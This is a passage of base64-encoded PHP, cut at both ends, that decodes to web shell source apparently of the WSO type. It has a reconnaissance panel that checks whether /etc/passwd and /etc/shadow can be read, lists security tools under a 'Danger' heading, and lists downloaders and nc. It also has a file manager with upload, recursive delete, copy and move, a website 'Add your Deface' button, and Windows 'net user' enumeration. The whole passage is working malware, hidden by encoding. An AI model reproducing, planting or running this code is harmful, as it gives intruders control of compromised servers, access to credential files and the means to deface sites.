TZWNJbmZvKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb248L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgZnVuY3Rpb24gc2hvd1NlY1BhcmFtKCRuLCAkdikgewogICAgICAgICR2ID0gdHJpbSgkdik7CiAgICAgICAgaWYoJHYpIHsKICAgICAgICAgICAgZWNobyAnPHNwYW4+Jy4kbi4nOiA8L3NwYW4+JzsKICAgICAgICAgICAgaWYoc3RycG9zKCR2LCAiXG4iKSA9PT0gZmFsc2UpCiAgICAgICAgICAgICAgICBlY2hvICR2Lic8YnI+JzsKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+Jy4kdi4nPC9wcmU+JzsKICAgICAgICB9CiAgICB9CiAgICAKICAgIHNob3dTZWNQYXJhbSgnU2VydmVyIHNvZnR3YXJlJywgQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykpOwogICAgc2hvd1NlY1BhcmFtKCdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywgKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddKT8kR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXTonbm9uZScpOwogICAgc2hvd1NlY1BhcmFtKCdPcGVuIGJhc2UgZGlyJywgQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsKICAgIHNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsKICAgIHNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGluY2x1ZGUgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKTsKICAgIHNob3dTZWNQYXJhbSgnY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8nZW5hYmxlZCc6J25vJyk7CiAgICAkdGVtcD1hcnJheSgpOwogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkKICAgICAgICAkdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQogICAgICAgICR0ZW1wW10gPSAiTVNTUUwiOwogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpCiAgICAgICAgJHRlbXBbXSA9ICJQb3N0Z3JlU1FMIjsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkKICAgICAgICAkdGVtcFtdID0gIk9yYWNsZSI7CiAgICBzaG93U2VjUGFyYW0oJ1N1cHBvcnRlZCBkYXRhYmFzZXMnLCBpbXBsb2RlKCcsICcsICR0ZW1wKSk7CiAgICBlY2hvICc8YnI+JzsKICAgIAogICAgaWYoICRHTE9CQUxTWydvcyddID09ICduaXgnICkgewogICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOwogICAgICAgICRkYW5nZXIgPSBhcnJheSgna2F2Jywnbm9kMzInLCdiZGNvcmVkJywndXZzY2FuJywnc2F2JywnZHJ3ZWJkJywnY2xhbWQnLCdya2h1bnRlcicsJ2Noa3Jvb3RraXQnLCdpcHRhYmxlcycsJ2lwZncnLCd0cmlwd2lyZScsJ3NoaWVsZGNjJywncG9ydHNlbnRyeScsJ3Nub3J0Jywnb3NzZWMnLCdsaWRzYWRtJywndGNwbG9kZycsJ3N4aWQnLCdsb2djaGVjaycsJ2xvZ3dhdGNoJywnc3lzbWFzaycsJ3ptYnNjYXAnLCdzYXdtaWxsJywnd29ybXNjYW4nLCduaW5qYScpOwogICAgICAgICRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOwogICAgICAgIHNob3dTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsKICAgICAgICBzaG93U2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxlKCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCJldGNcIiwgXCJzaGFkb3dcIiknPlt2aWV3XTwvYT4iOidubycpOwogICAgICAgIHNob3dTZWNQYXJhbSgnT1MgdmVyc2lvbicsIEBmaWxlX2dldF9jb250ZW50cygnL3Byb2MvdmVyc2lvbicpKTsKICAgICAgICBzaG93U2VjUGFyYW0oJ0Rpc3RyIG5hbWUnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOwogICAgICAgIGlmKCEkR0xPQkFMU1snc2FmZV9tb2RlJ10pIHsKICAgICAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKQogICAgICAgICAgICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRkYW5nZXIgYXMgJGl0ZW0pCiAgICAgICAgICAgICAgICBpZih3aGljaCgkaXRlbSkpeyR0ZW1wW109JGl0ZW07fQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pIAogICAgICAgICAgICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICBlY2hvICc8YnIvPic7CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnSEREIHNwYWNlJywgZXgoJ2RmIC1oJykpOwogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ01vdW50IG9wdGlvbnMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvZnN0YWInKSk7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBzaG93U2VjUGFyYW0oJ09TIFZlcnNpb24nLGV4KCd2ZXInKSk7IAogICAgICAgIHNob3dTZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycsZXgoJ25ldCBhY2NvdW50cycpKTsgCiAgICAgICAgc2hvd1NlY1BhcmFtKCdVc2VyIEFjY291bnRzJyxleCgnbmV0IHVzZXInKSk7CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW4oKSB7CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPkZpbGUgbWFuYWdlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXSE9J2RlZmFjZScpIHsKICAgICAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7CiAgICAgICAgICAgIGNhc2UgJ3VwbG9hZEZpbGUnOgogICAgICAgICAgICAgICAgaWYoIUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZiddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmJ11bJ25hbWUnXSkpCiAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ21rZGlyJzoKICAgICAgICAgICAgICAgIGlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkKICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnZGVsZXRlJzoKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgewogICAgICAgICAgICAgICAgICAgICRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7CiAgICAgICAgICAgICAgICAgICAgJGRoICA9IG9wZW5kaXIoJHBhdGgpOwogICAgICAgICAgICAgICAgICAgIHdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtID0gJHBhdGguJGl0ZW07CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICggKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikgKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHR5cGUgPT0gImRpciIpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRpdGVtKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgY2xvc2VkaXIoJGRoKTsKICAgICAgICAgICAgICAgICAgICBybWRpcigkcGF0aCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZihpc19hcnJheShAJF9QT1NUWydmJ10pKQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGYgPSB1cmxkZWNvZGUoJGYpOwogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVsZXRlRGlyKCRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIAogIAogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgCiAgICAgICAgICAgIGNhc2UgJ3Bhc3RlJzoKICAgICAgICAgICAgICAgIGlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ2NvcHknKSB7CiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gY29weV9wYXN0ZSgkYywkcywkZCl7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkYy4kcykpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJGQuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBvcGVuZGlyKCRjLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRjLiRzLCAkZC4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikKICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkX1NFU1NJT05bJ2N3ZCddLCRmLCAkR0xPQkFMU1snY3dkJ10pOyAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB9IGVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICdtb3ZlJykgewogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIG1vdmVfcGFzdGUoJGMsJHMsJGQpewogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGMuJHMpKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCRkLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gb3BlbmRpcigkYy4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY29weSgkYy4kcywgJGQuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpCiAgICAgICAgICAgICAgICAgICAgICAgIEByZW5hbWUoJF9TRVNTSU9OWydjd2QnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHVuc2V0KCRfU0VTU0lPTlsnZiddKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgKCgkX1BPU1RbJ3AxJ10gPT0gJ2NvcHknKXx8KCRfUE9TVFsncDEnXSA9PSAnbW92ZScpKSApIHsKICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2FjdCddID0gQCRfUE9TVFsncDEnXTsKICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRrID0+ICRmKQogICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXVska10gPSB1cmxkZWNvZGUoJGYpOwogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnY3dkJ10gPSBAJF9QT1NUWydjJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgZWNobyAnPHNjcmlwdD5kb2N1bWVudC5tZi5wMS52YWx1ZT0iIjtkb2N1bWVudC5tZi5wMi52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgfQoKICAgICRkaXJDb250ZW50ID0gQHNjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7CiAgICBpZigkZGlyQ29udGVudCA9PT0gZmFsc2UpIHsgICAgZWNobyAnQ2FuXCd0IG9wZW4gdGhpcyBmb2xkZXIhJzsgcmV0dXJuOyAgICB9CiAgICBnbG9iYWwgJHNvcnQ7CiAgICAkc29ydCA9IGFycmF5KCduYW1lJywgMSk7CiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewogICAgICAgIGlmKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydwMSddLCAkbWF0Y2gpKQogICAgICAgICAgICAkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOwogICAgfQogICAgZWNobyAnPHNjcmlwdD4KICAgICAgICBmdW5jdGlvbiBzYSgpIHsKICAgICAgICAgICAgZm9yKGk9MDtpPGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspCiAgICAgICAgICAgIGlmKGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUgPT0gXCdjaGVja2JveFwnKQogICAgICAgICAgICAgICAgZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbaV0uY2hlY2tlZCA9IGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7CiAgICAgICAgfQogICAgICAgIDwvc2NyaXB0PgogICAgICAgIDx0YWJsZSB3aWR0aD1cJzEwMCVcJyBjbGFzcz1cJ21haW5cJyBjZWxsc3BhY2luZz1cJzBcJyBjZWxscGFkZGluZz1cJzJcJz4KICAgICAgICA8Zm9ybSBuYW1lPWZpbGVzIG1ldGhvZD1wb3N0Pic7CiAgICBlY2hvICI8dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsKICAgICRkaXJzID0gJGZpbGVzID0gJGxpbmtzID0gYXJyYXkoKTsKICAgICRuID0gY291bnQoJGRpckNvbnRlbnQpOwogICAgZm9yKCRpPTA7JGk8JG47JGkrKykgewogICAgICAgICRvdyA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSkpOwogICAgICAgICRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOwogICAgICAgICR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLAogICAgICAgICAgICAgICAgICAgICAncGF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSwKICAgICAgICAgICAgICAgICAgICAgJ21vZGlmeScgPT4gQGRhdGUoJ1ktbS1kIEg6aTpzJyxAZmlsZW10aW1lKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKSwKICAgICAgICAgICAgICAgICAgICAgJ3Blcm1zJyA9PiB2aWV3UGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwKICAgICAgICAgICAgICAgICAgICAgJ3NpemUnID0+IEBmaWxlc2l6ZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwKICAgICAgICAgICAgICAgICAgICAgJ293bmVyJyA9PiAkb3dbJ25hbWUnXT8kb3dbJ25hbWUnXTpAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSksCiAgICAgICAgICAgICAgICAgICAgICdncm91cCcgPT4gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICBpZihAaXNfZmlsZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSkKICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKSk7CiAgICAgICAgZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKQogICAgICAgICAgICAkbGlua3NbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycpKTsKICAgICAgICBlbHNlaWYoQGlzX2RpcigkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSYmICgkZGlyQ29udGVudFskaV0gIT0gIi4iKSkKICAgICAgICAgICAgJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOwogICAgfQogICAgJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0OwogICAgZnVuY3Rpb24gY21wKCRhLCAkYikgewogICAgICAgIGlmKCRHTE9CQUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKQogICAgICAgICAgICByZXR1cm4gc3RyY21wKCRhWyRHTE9CQUxTWydzb3J0J11bMF1dLCAkYlskR0xPQkFMU1snc29ydCddWzBdXSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7CiAgICAgICAgZWxzZQogICAgICAgICAgICByZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOwogICAgfQogICAgdXNvcnQoJGZpbGVzLCAiY21wIik7CiAgICB1c29ydCgkZGlycywgImNtcCIpOwogICAgdXNvcnQoJGxpbmtzLCAiY21wIik7CiAgICAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGxpbmtzLCAkZmlsZXMpOwogICAgJGwgPSAwOwogICAgZm9yZWFjaCgkZmlsZXMgYXMgJGYpIHsKICAgICAgICBlY2hvICc8dHInLigkbD8nIGNsYXNzPWwxJzonJykuJz48dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT0iZltdIiB2YWx1ZT0iJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJyIgY2xhc3M9Y2hrYng+PC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9IicuKCgkZlsndHlwZSddPT0nZmlsZScpPydnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndmlld1wnKSI+Jy5odG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pOidnKFwnRmlsZXNNYW5cJyxcJycuJGZbJ3BhdGgnXS4nXCcpOyI+PGI+WyAnLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSkuJyBdPC9iPicpLic8L2E+PC90ZD48dGQ+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/dmlld1NpemUoJGZbJ3NpemUnXSk6JGZbJ3R5cGUnXSkuJzwvdGQ+PHRkPicuJGZbJ21vZGlmeSddLic8L3RkPjx0ZD4nLiRmWydvd25lciddLicvJy4kZlsnZ3JvdXAnXS4nPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJyxcJ2NobW9kXCcpIj4nLiRmWydwZXJtcyddCiAgICAgICAgICAgIC4nPC90ZD48dGQ+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3JlbmFtZVwnKSI+UjwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3RvdWNoXCcpIj5UPC9hPicuKCgkZlsndHlwZSddPT0nZmlsZScpPycgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2VkaXRcJykiPkU8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdkb3dubG9hZFwnKSI+RDwvYT4nOicnKS4nPC90ZD48L3RyPic7CiAgICAgICAgJGwgPSAkbD8wOjE7CiAgICB9CiAgICBlY2hvICc8dHI+PHRkIGNvbHNwYW49NT4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9XCdGaWxlc01hblwnPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPgogICAgPHNlbGVjdCBuYW1lPVwncDFcJz48b3B0aW9uIHZhbHVlPVwnY29weVwnPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwnbW92ZVwnPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwnZGVsZXRlXCc+RGVsZXRlPC9vcHRpb24+JzsKICAgIGlmKCFlbXB0eSgkX1NFU1NJT05bJ2FjdCddKSYmQGNvdW50KCRfU0VTU0lPTlsnZiddKSl7ZWNobyAnPG9wdGlvbiB2YWx1ZT1cJ3Bhc3RlXCc+UGFzdGU8L29wdGlvbj4nOyB9CiAgICBlY2hvICc8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPj4iPjwvdGQ+PHRkIGNvbHNwYW49IjIiIGFsaWduPSJyaWdodCIgd2lkdGg9IjEiPjxpbnB1dCBuYW1lPSJkZWYiIGlkPSJkZWYiIHZhbHVlPSJpbmRleC5waHAiIHNpemU9IjEwIi8+Jm5ic3A7PGlucHV0IHR5cGU9ImJ1dHRvbiIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nXCcsXCdkZWZhY2VcJyxkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2RlZlwnKS52YWx1ZSkiIHZhbHVlPSJBZGQgeW91ciBEZWZhY2UiPjwvdGQ+PC90cj4KICAgIDwvZm9ybT48L3RhYmxlPjwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25TdHJpbmdUb29scygpIHsKICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319CiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSkge2Z1bmN0aW9uIGhleDJhc2NpaSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RyTGVuKCRwKTskaSs9Mil7JHIuPWNocihoZXhkZWMoJHBbJGldLiRwWyRpKzFdKSk7fXJldHVybiAkcjt9fQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHtmdW5jdGlvbiBhc2NpaTJoZXgoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49IGRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319CiAgICBpZighZnVuY3Rpb